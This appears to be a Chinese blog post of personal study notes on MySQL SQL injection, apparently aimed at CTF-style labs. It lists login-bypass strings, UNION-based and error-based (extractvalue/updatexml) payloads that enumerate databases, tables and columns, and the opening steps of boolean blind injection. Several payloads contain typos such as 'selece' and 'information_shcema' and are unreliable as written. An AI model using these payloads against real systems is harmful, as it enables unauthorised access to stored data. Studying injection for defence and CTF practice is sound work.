sql注入学习

万能注入

/?id=' or 1=1 -- +
/?id=' or '1=1
/?id=' or ''='

sql注入

在MYSQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库名的库名。

TABLES表存储该用户创建的所有的数据库的库名和表名,库名为:TABLES_SCHEMA,表名为:TABLE_NAME,字段名为:COLUMN_NAME

思路: 先判断闭合,在url后面加上?id=1/查看报错信息里 / 后跟的是什么,那就是什么闭合方式,如果什么都没有就是整数型注入

函数

  • database() 网站使用的数据库
  • version() 数据库版本
  • user()当前数据库的用户

首先测试是什么注入

1.整数型注入

1.1 order by 1, 2 测试总共有几列。1 order by 1,2,3

2.使用union select判断注入点

3.查看数据库 -1 union selece 1, database()

4.根据查询出来的数据库名字来查询表的名

-1 union select 1, (select table_name from information_shcema.tables where table_schema = '数据库名' limit 0,1)

-1 union select 1, (select table_name from information_shcema.tables where table_schema = '数据库名' limit 1,1

5.根据表的名查询字段名

-1 union select 1,(select colume_name from information_schema.columns where table_schema ='数据库名' and table_name = '表名')

6.根据字段名查询字段内容

-1 union select 1, (select 字段名 from 数据库名.字段名)

2.字符型注入

跟整数型注入一样的操作 ,需要看看需要将什么注释掉

查询数据库名

-1' union select 1,database() #

查询表名

-1' union select 1,group_concat(表名) nformation_shcema.tables where table_schema = '数据库名' limit 0,1

查询字段名

-1' union select 1,group_concat(字段名) nformation_shcema.columns where table_schema = '数据库名' limit 0,1

查询字段内容

-1' union select 1,(select flag from flag)#

3.报错注入

函数: extractvalue(xml_frag, xpath_expr) 从一个使用xpath语法的xml字符串中提取一个值。

SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。

~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

- 报错信息查询数据库名
1 and (select extractvalue(1, concat(0x7e, (select database()))))

- 利用数据库名查询表名 
1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

- 表名查询字段名
1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

- 字段名查询字段信息
1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

函数: updatexml(xml_target, xpath_expr, new_xml)

xml_target:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
new_xml:需要更新的内容。

SQL报错注入的应用:当使用updatexml(xml_target, xpath_expr, new_xml)函数时,若xpath_expr参数不符合xpath格式,就会报错。

~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

- 报错信息查询数据库名
1 and (select updatexml(1, (concat (0x7e, (select database()))),1))

- 数据库名查询表名
1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1)) 

- 表名查询字段名(列名) 
1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1)) 

- 列名查询字段信息
1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))

4. 布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 truefalse使web页面返回true或者false,从而达到注入的目的来获取信息

  • ascii() 函数,返回字符ascii码值
    参数 : str单字符
  • length() 函数,返回字符串的长度
    参数 : str 字符串
  • left() 函数,返回从左至右截取固定长度的字符串
    参数str,length
    str : 字符串
    length:截取长度
  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
    参数,str,pos,length
    str: 字符串
    pos:开始位置
    length: 截取长度

思路步骤:

1.求数据库的长度

1 and length(database()) = 数字 观察查询的信息,穷举数字

2.求数据库的名字

1 and substr(database(), i, 1)= ‘a b c 。。。。。’ 求第i个字母是什么

  • 18
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值